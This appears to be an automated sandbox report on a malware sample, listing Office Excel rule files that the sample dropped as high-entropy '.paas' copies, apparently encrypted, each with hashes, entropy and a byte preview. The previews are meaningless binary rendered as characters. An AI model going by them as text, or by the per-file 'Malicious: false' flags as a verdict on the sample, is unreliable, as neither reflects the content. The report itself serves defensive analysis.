Preview:	<?xml.;&3.l.D.G:.E....x........+.n<.d..^.r......<...l.].ei...a..!'C..+..rU.f...Ib../.i1..R.;ZP2.VS..&L..._.A...f{(..o..d]{...i)....W.H..>p.k..U.h...~...U...m.I...]..6..j.7..\.k...\_8w.X.!..%.M].b...H....g...2...I..5..x.6..4..:A`..q.....l..........8.Wd...A..j...^'..j...ii..,}.qK.d6.ju...r.e..f.Y`....6I._......%.~..c........e_...%\|...\=....f['...._nt.....q..t.6.#..@....<.U..."..[i.........6.C.....J.^...p.BD...X........".<...B.]4t.0......I3...3@r[........C..-9...'Y...-\....)..)qfL....0..@.=.CK...v..l...#}Dq]...n..-..'.....n\.`...V.4.G^.....5).....~..\..;...J+..FY....B...w.="..D.P.@=!].=]v.3...!..}.@..D.]...E..z...0..J.2.Oo...X.........:.e>R.\..........$.....Xr.!..2..l..%_.'\|J-.MB.C..go.P.CR..)..b.)...*&.O&%..g...O.{.#.@....H.C...0.B.9X...J..0..."......s.....3.&.u=....J..i..A...nk..d..1.~..`y.B..l.G....!.D....s.U...Y.D..5......u...C';....H.S...d? .:...\|..D..Q}.(!.D.......M3r..S....5..W.....F.[...j._V..8..V.n..KF.W..:\|......d.x

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.926590368249361
Encrypted:	false
SSDEEP:	48:DSVmQMGCGzabatn4H9Oj/W2D3nMaMqytxhRl4gVxKYatpNil/6eLQeamRD:DSEQmb+jRjnMzqfg+vtp2DamZ
MD5:	E5FA0A5916EAB6E0BCF964F4FE9C50C5
SHA1:	CE48E2C6FA14CB167936E019E332D661FEA00A69
SHA-256:	F1BADF714B5FB623D15C978D29791D1B057E41EA9D5787C76BD0A4BD37E4AC3A
SHA-512:	30140830E292FE981E309705E94BB2F3AA8C9A56F1F62AB68FAF32A09C8E2CAB1A86411B0816D8847F6BB809687D868BB8AD4A34E13AF1CE3FF7BA0EC776E663
Malicious:	false
Preview:	<?xml..a....N...zI..z..k+=..u.........a)(...i_!z.P.m.z).uA.WVy......w.{.^.%_...G...@3.n.C..~.-..3.E....L..M....U....6...S.v._.a..l:e.e.xf.O....t....,6)y.).@.....%...d9eG5E<X......+.m.....C}..2..}...z...........u...).-.m.t.t.Y..Tf2.j..>..&.gQH...Xi...Ja...S...gm.2....g.^.'..;..lAm....m4pi.2....V.D..w..,..E..).\.&..}.J..T.=..{z}....,.._..l.#...cH......z...Yo.v...%.i...,j....#.....J..Z,Q.Fyn.n.!..........s...yPa....y...]."[..5..#kI9...5.gB..t..Wr.=.O.O.i..c.A...V.....J.~h.~@?..ne[Y../...A2.............S&..}d{....t+.B30..M.2..DDa.....j..e.!..v79.....S..x.....'d.Zi..k-...Q...IXM2E8K}..N..z{a.=....2.H..-..v.I...I..........AN...I..Y3.[+..aj.. }!h,s....g..J...;..C..qTZ....M..f.e.5..~...+(.2g$8..M.f.g.?.....e............k..f$A.....+Z.......zr..7.l......@..S.......d%..z.D..IT..A...>n.c.....R.2:,].aC....B.......vn......]....$..p.E...#.u..D`...d..}..<....Y....dq.,fH..O..R...T.o.>4....9....._V0..nU.4.0...fU.}h...X..../....Z#..D.6......N....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.947925953413377
Encrypted:	false
SSDEEP:	96:X7AmcJAUHgmO8LXxNJEPjCbEiTG0qnGec2:LAKI3XjlEmjqGu
MD5:	D37015879CCA4F4839F41DDB54DC0895
SHA1:	8F91A095C0A599099224285063C147F542FC5E47
SHA-256:	40F955ACF490D78CE98B939E24CD648FB06937DD95EC041CFBE0068B4471BB80
SHA-512:	7377CDD180DEBBDB0CA16AA897D4163D4ADA0190BB4F9150CCCEBD154D6E4B1D4FCDF917AD4B2BF7A8C3DCD3368429DFCE767A66DD5A04AA292D653E7351FA0B
Malicious:	false
Preview:	<?xml.}.D..]...#.....1..@0^a........o...2..C..H.4s!.......u...x...d..V...#Y..XI...+/ff[...Fc@..q.c.~...y..!.-.k.,.t6.....GU....O..xx.(...3.\hf0. \ob..=.!5........d.v..S.19.......]....-.\.......Ms.B.-..s.J....Pq.v^"t"..:~.....`..;.$e..........!......R..........A.....B..Sc:.t..'........W..X..........QKPF..k.A.....:S.z....w....4...C.!.... <.....x.U.Tp&...xb...HOU...3.$.../^Ug~....}@.e...L...V......:r....o.gV'!.!.n.....u..[.....#..... .C..vj.......\|"#..{.EN:.@..&..wX......C... ^.....v.f..r_..........;...*..T...8;q./.Q.)S5Q..6.kU..K.....@2@..o.0-...\|[G../..2-..V......)0..g..9.(..R..l...k.....4g.A.:.9...k...;R.$.%.Xn.wL.U.g.Pv.A.v;htX../. .q....#..}.o.9.n.\|....\|E..DH.@.N.Z.U...#.\|...L^3 .....A..0...~..H.....EH.wF..oe.......0..N.4N...{.=!.."J.\|&1.H.%..$.?..L......+..x.u.N.k.2.<.7v.....I....E...M..3..w.9i.F ..,h..4...B.r.M.=!i..?.0.....wsUey.+..m..2^....j...z..G.K.[.SP./.oS......!....D...g.S?...9..W....WI..N....\|WF..gg.:..q....}..F.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.841398576196739
Encrypted:	false
SSDEEP:	24:Ds1PGPMgX9bDIvwm8tR5+KhPLU6lnRv2iktNEgf0X7jAJZOCjbD:Ds1ePnDIvwzhPganRv2ioR0QXOC3D
MD5:	157D09F44C39783A58A39670B2ADB876
SHA1:	E59D58A32414750A160C62E6BE481FBD3F4DE0C4
SHA-256:	B5DFADD200B29F812029AD4EECCDDDFFF531C9C09F0C8C7C0CC42CAF187C22F3
SHA-512:	1FB98EF86A58ACD629555A0C4B51AE66BE97FFB23E1D3B39529A4D8560B804348BB2E21D2E5814195B33DB6240C494AEE9C752EF012FDE186D3AB2E20C2E0D47
Malicious:	false
Preview:	<?xml...4q.p..1..s.6.....FK.PC{.l. .7.v.D.a....C..gv.2g [..{=!E..e.w..._...D.0`.....o.x...."...+V..N.D.......Na..-I.i.x.X..K)..G...xJ.T.<djB..T2..n.OL..9..j5i..u....n...`=.Q._..x].&3..~I..: .S.O.T...e.o..b.1.i..(..n.u.4....8u....^..'G..f. .\|v.#~...HAT.Y..Z...E.{..Y.t...8CG=.b.p.X.Y.d...RC8.02.?.A..$v............ua.'.j+n...@k...b..G....N.1:..xo`..!.@.v.....m. ..]...{.8X.._...2.p.. .#..'.2-i...X...}..Cc..=.t..2.(.=...lj....90.n$E.a]..C.F)dB......8...E.L...}.J.....l...o^.{..`....}.,...j..s3]G"3......3.....#..Q.r.$.+..\|.;f.."v.r... ..i.L....?w.mUw..='.....'+L.G.y.e83..J...7>~.1.0.bd.7(...q....u....T%p............+.U.....R...,N...^-.K.g........E.......R]...h..{...... ^....FZ..}(..z..p....I/.^./..H........h!....]....h....,.=.......W..g.:....:.t.........=...H..f......o.....W....a..1=..p..'..JG.yj/.\|.g..t..I...}..}......!.3l..g....1...x~.?YF..\...8.....Pe...U...NL.b'.eR....r..s?.r..Qz.........%..b......uI.s/...../B.,.u.G..Y.....(...A.-.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.934611897187828
Encrypted:	false
SSDEEP:	48:LKMkSb1L3QlslvufOJQ5E/8qbfyujCfHpm4FwLl0RDLyAEaaF4WD:LxkBlsVufOw55YaRqAx3O
MD5:	B26E88BA0B02479529A313DB77BA2AEC
SHA1:	2E99643FBFCB1EAA37F70500FA4633A027AC9825
SHA-256:	D1BFEFE81718C5A48279A78AB1C1E4F7374ADF6C424603B3D8ED812743BFA3D1
SHA-512:	E949022E84FAB795BC908432DE30A3A538608D11999EC757B6DADA3D0060590C703A1764C9222BE4E2CA247AA78527E6A86DC2459A4C5E683C92186DC9A04044
Malicious:	false
Preview:	<?xml.lWGpb.....G._..b.=..:.{...LX-....H...^...c.. ..M......E...m.s.....~.....$.....##BZEM`hV.i..9$.mq8.2.......>q.<.(r\..w+.jH".&.....R..E=^...`..?...N......j..p.n'..Z..5...}.s..V..C........Ix.^.......a.+...c.._...o.Ep./S.]."...w!:..5.....e.+......wu4+....+...K..e{...`Ve.^.,(`...).S.`......$iN.RC.y.~.3........Iu.<.`L.q.K...@...h....-x&...f....u..Y.^...E...^.`.....M....R...^.W..............f.>0..v'.}r..>F.e.N....].1........f_b..9s.U.g>)......-..\|Ejs....54k3..F.....d.5.....E.j.P..Llq~\.f......@...z...M...6......_.W.]q.{...;:p...~..)..%.hEi..9\|...r3u...b......@ye{.C.KU..4..)F.!. ......p....G...0o......Q...v...r..x....Wt2.".\fJ:..v%2..5..k.w......Z(.a...jK..!..4.(.p.K...].G......_..'....f8......xS.........b1...._Pv....`\FFR.G.x.......R..4./\|.:{0....}F.N........<....4..G.F....%.J...Y..?.zc.\.......-7.`..._$..F...p.....`Z.L..>..H.w\.w...R".<.uA........:.!...c... .t..B>uf..3..xQ..."5.a..u:y.Z@....e...y..k7.tT.}..{*_...c.!.$....O7....sA$A....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.892653226214363
Encrypted:	false
SSDEEP:	48:5GZsnurkUWy4vNwK/Knao7EUNLxZSjIr76YOvUMFkWSB1OqxSgD:5GZVkUhKinRx0jIr76pzkp119
MD5:	2A27B72735E1E988A1CC5EAF1B79B6B4
SHA1:	C742FB9A4865F31FAD77EDBBD2B44B9D649B8380
SHA-256:	67DD2B2D22C013A5C6EF029B9001C747DCAD0AD4649813AFBE8C3F17699A3B85
SHA-512:	BBB238A20EF862549C796A28EFFF548A7563F8219CEE42FA5B09033A6E2ABFE12586F1044B0ED892595C241C4E2B275705DF6CFEAF3C45331EF0B84A47163557
Malicious:	false
Preview:	<?xml...&..h..n..^..x1}%..........F..G/......d.Y\.......<...KX.....z...ft......e..R:.X..M.....i......4.Y.q.u@...f.a..][..2.!L.].."..C...K......=p_..#3....;..9.A.7+t..2....]t.!32T...R.......#.....%/W..Z.c.d.f....+..6...{..p.n;..Lu.d.3c@...1..#$\|.f:+...).._?...B....04"t.t.....j`jkHb.M.U_.....!......z....H...t.4.-....?......m4....t:...tE..wV$.r..S..B.z{......."kP!Z..../4O.T.(...@.a_.\..e.1g.......g....K..F..w&/..n.........#..[...Y.u..i..q...P'.%.\.9........_i....2.....-..E.D..O.v.v..6........Zhq.....z.LV...YQEuT.+..dM..........].c.M.....UW.y.v..^y..U.Z.M.. A&..]=`.wg.;0e..E....w......#?;._6.LA.oc..B.....@.'.../..`&..<.$.k... ...G.]fd...6.pQ..... b."..7.+.`..~Vy.<...p...>&;.G.+0..B..E....e...w.0..e.Q.g.U....h....{.J....o.Y....&..9..H.H.$..S.......^..X?\~..km...>.p..Yy.~...?...a....A.&+...u.m{.......[...>R....Vn..y....=.^V@j.a.X.S...t.....gQ....eN...!L%..y.....!-+ZteT3..CM....#;.......1.1..E-......@^l8....i....0.....o.....h....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.864164214148145
Encrypted:	false
SSDEEP:	48:ktmhXaCaNwM4twVftk1jOq5IBvPf2cUwYIcHtGD:kt62wMCwVfMT5I92czcNe
MD5:	97156CA4E8231A07AB50512B8BC194E8
SHA1:	9904490C05B0110F8B8B422EEDC69FA52FB27AB5
SHA-256:	3B850FA4664FAB300139D900255FBB26F25EDD9D35D552757FB439E8AED62A82
SHA-512:	F163D85504D0536EA5CF87E11616C1D9BE86D9A6215F2D05531744517D81D4458CC402009CA08C9175BE261624D9DC877E454AD0B0D88EB4F1079736B606F2AB
Malicious:	false
Preview:	<?xml#..iKv.1R.l...5I..KU...Hs[...!.yA>....P.......kA7N..=T.lL..0/WdR..,......'y.......MO.$2.....%e.X....i.)....Hf..?M...n.:.p....b..\|.~kp=....Kc...L. aS..........~..3.8l.f.G..\|..x...LZ.\|2.q...$....r..J..2..>h.....;T\|v7..y'#:.c..=...A.....Hy.n-..$.2<.]L.@z.g.c..B.V.p<...m...7.:.."2..Z..s..P#...A.uBJ...U.G..B../..B...cA.a.T3q......NY..?-....L\|P.U<.M....l.T..z:.Dv..2..2.Wu...ks.M.A.B/Q%]..7a.Qn....'...-.2.m.s...3Q5...bG.s\|y.B....s..g.J......S..z.P..{`...],be..+.....L.X.4.H..:$...r.f.@2.?d...L..I6....lT'..V./."..g.kkn0......U..w......]V......K~k....5.But.dZX.>.}.......HyI.M.J.....j.@j....m..:#7..F..z...{s.\...1.l....I.c......dMi..s.....$..C.......5<..o.px.f..Ti.8N6..z...ke...=...m0...\w.n.V...6..=..;.L..EE.>.....68./..X^.t..9...$:.!..].`.N..W.........C....S.,O....7.R..ze..W....=x..d..K..q...d*(O.y.q......0e.D.+..g]..Dg.`.H.1...W..V.+H.T.g^..6.\........R...~..3......q(sA.g..U...k..D.K8..[....6.%...Y.Gxj..e+n.F.... r.7...q\|.Z..e......e......f...jEV.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.9377364774227885
Encrypted:	false
SSDEEP:	48:y5/zPr+hqb53QVV1wyPX+fc5EyOFo+Vv8oUjyKN7UGK0xsYLwclmEpAOxABPFUt1:s/DAqbOVcyvk6EfFdUlxrK0xsg5lmEW8
MD5:	1DC66C2E897ABCE108AE4085EB0E6071
SHA1:	FBBA3C66ED8DF9784F2B91AE15F29258E96EF13C
SHA-256:	807E052C3B803E7D4AD7FC1DF28213F45E2D1014E892C987FD0C93445825E820
SHA-512:	7F8BA1F582F2EE8C847DF0EC43BD5B9AD9E3572AB5463DC5638E501611A396A74EA4FCA02EAA13186043546CE4640D96C0569DD143C51F7690C3C04623415FDD
Malicious:	false
Preview:	<?xml#.qr]?OuW..M^!..3..Q. n.-..`{@:..o0f...y....#..H?..'l.a/b..sRvo..J.s.!U.Pv.0.{9.q...~.:.."kD....K.."ke.:.7\.K9..M..'k..rS..U....C.F..F..#.0\|............ ..H...v.4....\..F.b/N..Y....b./\|=X..U.j.M.........G.M..p.jC.....J..5.xV...+Z..D.-....?..!m...H...g...vH-...9..=............S.N...2..7.(.o7....[.l.....\/.w.J0.5E...6.....,Y.M[.Dj{..,e.O.......@...-1V..1....n...h.....A....tc......,....${uQN.,m5.._oQ...E.........h../.R.V.:..{..)`'Z...`\|\\.5E.W8].w8....N...t.>f........\D.P...d.........)O0..,.VW+.(.p.....i..y,Js.<.;..sG.o..<SO...RA`]7{R;...8.X..i.L...].p.YP..8N.&.iu.....l...v..._7S....1.x.l....o.G.V.Z....e(.....#...}..a..u ...v..c..7.........<.-v1!A..\E1/...p.Ur..}i.....qj...2.....s.....-r.M,....k].xu;h.x..O..[a.M....~F....l.g...~.o.....D.pN.B/<.L...&...z.X.X...jmPK....dD.$..`..@.A."@"O....>~e.........%&..W.../.....I.~.....t.qn.Fe.....?@{..}..;Z.....'..];...^..u..d..../.....=...,v}FX....8.u.e.(...p...x.L......+.e.&.......1&.LH#..R....r.)...F2...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.954271345994708
Encrypted:	false
SSDEEP:	96:omvRpd++c8edpeF1tyDWfiWyqbhzE7RAfsuydWXzAS:jvjKaF1tmqbNkPuSWX0S
MD5:	C8167DD1E9799433C83B9F3A8E3D4128
SHA1:	CFA6A508FABF65C53B80DC70B69DC8E1187FFC3E
SHA-256:	59C603C613A015CB9297982794CDC231FAD0E141EA80B8D1F5ECB065067BDFAC
SHA-512:	1D3C412C46CC682C2DFCBA9EAE6422624FB1D32E6A88357D06522EB785E4951312EE15F8B03D98CC22807365086EAFAED635062173D7690322450EDB5E82D4BE
Malicious:	false
Preview:	<?xml"Z.h....p.......{...p ..fT...j...\.d..T.......\f.O....D.:....\|...Q'+{.t..X.Y.d...\|9u......w'@...d..i..k.]...K.r.<...=.i..L.qDyC..K.u.Z&/..z..G.xX..~"... .f....{..Xs.7aw.K..9....i'3h.3!\`.\.ks.l..x..]BMB.0>...,x....`......._d..$e...2c.-\..]Z.....".g.!....).".[C...@...\| 0p.y5Q.i4.-.....C.V...N.K..K5&....X.N.hc...r...`.<q..T.....h..G.o.@$U..}5.IP.e.x.9.e..]...........~...P..$.N.;....W9W~\cy]].fN..(l\|..IW...{N..HKT%G......w..,>..P.....(...-.9...7J}1{.M.7YK...>..L...\|..5.Z.....N.fO.r..sPa.L........3<.g..=..z..`5g .....;&1c>..?/..N .....M..^....)w.....B.....x&.`...U.Lu........9.=.... ..evi...0.......m...#_.d^Y.\.4!h.$......-1...S..%o7.j.^@..q....t.}........n..i.... <.o...=c.,c4.E..3......0.....q]..?.\|.....1:$&.... 7.3p..{..........\v.?..."...c.......{{..d.2......B.2a.@.6X.;S..".=.;...1-...~\|.i........>...0.F .%u.s.1.KrEb /..t..@[S.P...qk.#.@./...f...~!...Ur......Q'...)..{.x........m.}J.n.s.?h,...:.j...u.gA..;;....../..J.0...d..........H..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.975499249850395
Encrypted:	false
SSDEEP:	192:zzKTp+wq9Gj6LUGF5KKr4RP6nxanJwD5OyLv3mGFdraLDfWjd:zIq9EuF5KKr4oxaeDZLuqduvg
MD5:	E36DF6A3692458ABA11D588AC8A8E76C
SHA1:	744DF2545D731C06A85A23B3601FDBA2CA415AF6
SHA-256:	7C61A38D802B5FC8B32868924CFC9EE85A09638F4F05473F0878D097FD108629
SHA-512:	2F68137622D6FFCA69A087BB33C21145897A8B38C0CA4C8A6C44BFB855B23CAFDE86EC0C6E72BDAB5BCAD0B16AD47C1AA40E7DB6E03084F29DC0E24209185ECA
Malicious:	false
Preview:	<?xml..'./&.q..t.\.M....Z$Gx....<..H.{........~....Ce6......r...s..NjA).8.%.....:..s=.........(CY....P........3z.e..w...>1...B..9.1..`U..1H.6^b...UB;...=.N........R.gl.5`.....=.F.dB...z....g.._;....W....hZY..M....,.^...3.....Syx.I...TG....8_3_..,./..Lr....l.._.l.".B..o..?r....-.%.^w.=5Ul]\|IC.#.X.T......^=2q).+...U;#oW...8..lm..1.+...u.B.NE.......(.....I.W..n9..../...e%^.7....R......>..;.C....h..?A..#......9.0.....q......(..A2...fIo.......?T.T....3...Q.t..xb"..q.J.j..D~\e.j.m......mb...Bq.K..-_.^....$. ^ ..wi.[..........b.`j..._1fOv./..%........M^X...Y.M0..,b.A...p..LP)^h..Z.FA.$W...H.8.../'.f..M{'...Q..../.....X.3.[........z......../i.9.... ...wE.F.,t....A..S....!.B.....m.a.mc4 t^u.$.x.].P..fX,.....)..Ix......8............v.!Gbq.,M.J...n{....n....M;i.....n..[..G..2^..t..df;`.m.v....GNTC..pi.9....'..Zh.L.C.-..X.....=Xd.W..6.Z5d.N(.VH..."...S.......*=G;...`..k...B...[o;...L._1....i..3.............~.N..~!.5........Hw>.`...Q..G.x.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.936664816144396
Encrypted:	false
SSDEEP:	96:K5Kb3K24sRLEl+ZxNfRbI/OUDUvMEgVCBUe4F:gW3K2TIk3fR8/OUA3BUp
MD5:	5CAB5E49678D225779E7903EEE23B421
SHA1:	DD3E6523566763014C3168B00C205F3E6EAA3DDA
SHA-256:	346A0C2AED69BA332F8B3A7174FF7D9A0A8E2A851755E54E4513A40B3B42B0E5
SHA-512:	D90CA6C7727DA78C2D9F3587DBFD35D55FF6BC7F84900B591F48E333C519BCB0A8C8807A6D9ABD008CF595C39BDD7AB229CA84653835BE129A8B91A6C09E103D
Malicious:	false
Preview:	<?xml...Wk......\|.-..f...o,..IJW`..x~._\.o..[.g"jB.O.(.;...l......vO.-..9VeH...b.d.7.....4,...n.).3....[..Y..~..[..qz.$g.....h5....sN...A.i.?8.=..'e..+..k........"..".a...;...'k../]....7UN.....8.@..E.L.Fu...1...o..f.....3}.c.j.J;\v@.........zv!}...E<B..6u....e....{H.fG..#..y.=......,de)...(.r.~.=.c..Bh..8..g..S..to....xzBb.\....2....,.E.../.&.Y[..}.,....F.7~.g..^.m.:..1....r....<%/.....PJ..G.....5.V.{.(qGI...+.eH...Y..2R.!w.#..8....Ca.$.g+7...vu...~6...U.>LL.....{VI/....>e)...@.........e8.27..`.Ym.lL.......e..k.I@.b@d#p.N..s.S?... e.cC.Q.X....kD..y...4?e.............Qu..<S!...\|.e...'..r...Z...3....a7....Z..7.E.~.._../.h..aJ8."..!6.q...Y0.A^...p..>.:.....4D~.P........ep...o.....=c}.-.......]..lH.m.{.hy.6..q.M..NI..3....\|1'...ji......GM..y..b..1.....lY.....f...".e...;....I.R.s..5l.......0it..vSS>..\P5...:m..^....q.S.^..MLs.!I~!..g.\.!.......$.W..t....wg.....L..'"..;.zE\|.........-. .F..p...u...V+(...Za..l...U.=./..r.b..I9..l.j..\|..q .*.f.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.952487878751573
Encrypted:	false
SSDEEP:	96:usvGLBMwVpQDXgMbWJx1AcCn39x1MJOk/ueYV:J2ywQDXJbox1ATn39x1MJOkg
MD5:	A841D0EE190BDADFCA09E53F66614552
SHA1:	735D75C82BC3086EE10FFD395EF6B5BA63366E11
SHA-256:	AC68BBE32DD79866A3BF45945C3978A6A968642A0D0400E12523FD1D50582C40
SHA-512:	071424508E6BAC1AC54BF23ECF0014C559DD99CDF8D6A7B67BDF579AEDBBBBF79EBBAB5A2142F4E2693DFFFF94B0BCF87DB17FB5B3593BB22E508D662FB34E79
Malicious:	false
Preview:	<?xml..v.B[..H..3...#...Rr..":..fo .....~......2.... .....,g..R.AC.........RYV..K._.<(.....%I..H.X.jZ...A.t^...\u....D_I.....Z!=Z.<&q=H6..h.j......w..VJ..)......Y.....}5[E....cYP.f....W.r.....[...D...{..o]'.......`i\|....m....+4. .@...9.....?.8..H.4.....g.yTv3h....9R.....V.p@;a.....V.-..I.V...@.3..kW>..+S....9....#./.wve....HI]...k..x.F...e#,..)B!H.t..HK......ds....v.?.8.\|..!...W2=JFB.....n.2?...~...3O.7QP[.\|.[\0...<.z.'.g.]V..vl..H....y..[{R..e.].\F..6....3..!.p..x.].._..t...7.qL.?..#.S......l%q%...s....Js[X.=`..05bW...."..&......w..KZ.\%}S.s.`.........7.,...M..6.........../;1.P..[...._:..9.9'~......F7...v..^..}b.:.mn.%....1.....C...R...qi.._..Gs.\C...<s..R\|..>..0R.e..Cn...M....Eh[eq+.q.`V.....}u........1V..7......y..<....x.x..#.R..13.....GE./g..*.......]..+.S../`.).......Q...kPNS.G.-b..a..4.O .i.!..... w0..N]..U.,jd..N,7.N..2.XDD.!N.....k..E'.&.>c..Qk..+....a.'..4oV...).........D.V.#c./... .0..A...Z..{....Z.,p.x.....w.$6...vA..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.9570414728407615
Encrypted:	false
SSDEEP:	48:IerPrilm3YAxpv928H5b6c0vqdzeDGNFSGsdn2p4gJKLpiG4AZ1pVvmc8F3chBD:IerPrilmoAvdH0c0eSjn2+OK973exxcH
MD5:	0CD01F4F390F72C922B9A1DB69136827
SHA1:	772E10B84C312E82943DF3E83D646C179CF810A5
SHA-256:	E75DF6E95F0E8987F668A99BC9FAE1541CFF932C0964BCD2012EE6E6D9D950F0
SHA-512:	183A9BC5982381E0D49E446F47F9282395CF8A5ADD16584F1DBC21CDC8C89A898C24149E72310D075BF862411CE922E123A0265472D9411179153198F7FB0EB7
Malicious:	false
Preview:	<?xml/..,e..P>9..m...@..z.H.\B..B#8..F.T..^..QZ..j.(..1..@g.c.7&.Km%S..=u).{L+....A.5..........J.......@`.W..r.}..SvS.....],....&.W.T~.8i..o.0..A~H.o..'..l...........J....@.....+$........7...3.....3..{'.,-..oSF..tN~.f..^g..x..o.[\|....Z.2_......^TG.l...H.l.O....`..)\|l.4../..w.M1..b..;.....5.w.....7.I.2..Q.b.n...MDb.MhEu.%=@.E...c.....E.L...5@t.m}.O.....W.x9?.V.$.).u.~..B.=UVdO........Y..Pw.z......A.=....9....$..J..n.:.4H...#>.q$fQ.+N..mu..#.."..J#..WHN.e.....`x9s.H.".(R.....P.)k.s..Y...$.C.U>R.;..4m.#.R.6...[...N.,9P...%\......L?}.....G....S......QN..._T...h..b......M.,[r<.v.-......V.;...r..Q.v...X6.........G...)..z...se.....8."^..f.!/...X.#........Q.N-.K.."z.1v.......(.2........,....)..~z..........."..7.....'Z.\|$....J.6...F.....".s.j...1u.......%..._.uP......?./......j..!.. 1w.a...u..3.......D..u5s5.+I.........J...S..3.....s.D..ID.:.+.......2b....1)..tE.<....TB.W..S.I....Kt.....b.M..,j.s.9.Yq...P._...J..v..c4....WF.&.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.91844290162394
Encrypted:	false
SSDEEP:	48:npRX5vVg20t5jXZkPP5bgqPyaEMZpZ9/sII6bAaqTzj/yKfgW9dAD:nvdagx56/opZyrLfgWs
MD5:	07429B7E8C7539D8C4CC71071CD49B9F
SHA1:	7BC3292FDC749C2A4D0701EB016FFCCFC8074F13
SHA-256:	252A0650921A116CA3BB652512A030491ACB1B7AA9AFA18FE4FD0DC65052AFC9
SHA-512:	213C04806DDAF48E92C5C0D27E84926B02C4954580FD8AE5C97ECCA61268DFE51EBF32EC32D954600B5139F6B90601888BAA3978AC02FAABE92DED5053A698C1
Malicious:	false
Preview:	<?xml.BH..N-\../1`.,.....B......0.+LV..:..'..$A.#0.\|....M.b......IJ^w.1...\..b....N..]m..iX..H....m.......9...;zY4.y..>.}...x9s...v:}5..S-....&..7\|..~:-".....7.....(.C......p..M...b..p!E....&b.X.\-9.>YN?.u.1:.S=.q~..P.NO...}.=.6..:.Z.B0&..Z.!!....P...=0)..a^.@./a..Xe...m2...w.B:.Z..AE4su.EN.&.. ..g.WNm...@P.....O.(.....H].}"...}...c:..z..P'.hI......h.).,h/...g.....x.9.ua....z.w...A}j........\..!.yD9[.iP0.....>%G.b..c.?c^...H....t.V.....q;......e6...-;...F-...).L..-2..V)>s'........]...6h...\|.?...(..F......q...,2..O.e?......d.N....b..4....@....#u.i....]r.S.o.._..HX..-...VDN...........`.....y/...B......M..wa8b&a..W"...Y.!....W.....cP1.C..D2#..M^...`#.D..rM..Y.........@.....}..v....I.......3......}Hsl.,.Dr.Z}w:r.S...j(S.uE.aM.......^...S<>0.........bK#g.Dd=.!e#qw.......\.&167)....1w(....o.t/]m0.`..S.....~*c6.!..6xT./5.;....[..d...B.@D..?]F.udm.E-...x...4H.AM..c.... .."..^R...]...+.E..W.9m5..96..Qp[.2N.c..(...@..q...+.)t.pT...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.673188917967055
Encrypted:	false
SSDEEP:	12:eYPo+mOpvHFuh1eMVaVjj6WrSEDItoAniyYs6I54g/xKqXS2cii9a:eYPo+mcUD87QoMrZ5PbD
MD5:	898C323D815BDD6F486475384173D94F
SHA1:	8C628A09D5772641F51025280152E5A8570F497E
SHA-256:	EB35227560F96D0A72535886A5E4A3F6414F234FD9CD26995ED6EC232510ADA4
SHA-512:	34A1F5F53558E3E9DAF06AA09EEF100234B6DAA1F460DE79A91E593DAE2CD2E3CBEBB0EA0D5B938E6595367A52C86DBD81D22B855D863D552EBEE4DE6554E102
Malicious:	false
